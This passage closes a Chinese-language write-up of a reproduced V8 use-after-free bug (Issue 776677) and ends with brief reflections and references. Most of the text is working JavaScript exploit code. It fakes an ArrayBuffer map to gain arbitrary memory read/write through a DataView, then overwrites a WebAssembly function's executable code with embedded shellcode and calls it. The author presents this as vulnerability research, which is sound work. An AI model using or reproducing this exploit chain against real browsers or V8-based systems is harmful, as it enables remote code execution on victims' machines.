const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([795371626, 1752379183, 1852400175, 23651209, 2164326657, 1769088052, 3375431937, 1493461585, 2303844609, 1792160225, 2160941067]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var wasm_shellcode_ptr_addr = addressOf(func) + 0x18;
print('wasm_shellcode_ptr_addr=' + wasm_shellcode_ptr_addr.toString(16));

var proto_addr = addressOf(ArrayBuffer.prototype);

var faker = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);

//fake a ArrayBuffer Map
faker[0] = p64f(0,0x0f0a000a);
faker[1] = p64f(0x000900c6,0x082003ff);
faker[2] = p64f(proto_addr,0);

var map_addr = faker_addr + 0x20;
print("map_addr=" + map_addr.toString(16));
//fake a ArrayBuffer
faker[4] = p64f(map_addr+0x1,0x3b90412d);
faker[5] = p64f(0x3b90412d,0x100);
faker[6] = p64f(wasm_shellcode_ptr_addr,0);
faker[7] = p64f(0x800,4);

var fake_arr_buf = fakeObject(faker_addr + 0x40);

var adv = new DataView(fake_arr_buf);
var wasm_shellcode_addr = adv.getUint32(0,true) + 0x3f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));


faker[6] = p64f(wasm_shellcode_addr,wasm_shellcode_addr);

//%SystemBreak();
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}

//%SystemBreak();


func();

0x04 感想

本次漏洞复现,学习了很多新知识,对于V8 UAF方面的漏洞还是第一次接触,结合Heap Spray也是第一次,收获比较大。

0x05 参考

asm.js:面向未来的开发
asm.js 和 Emscripten 入门教程
Issue 776677: Security: V8:Use After Free Leads to Remote Code Execution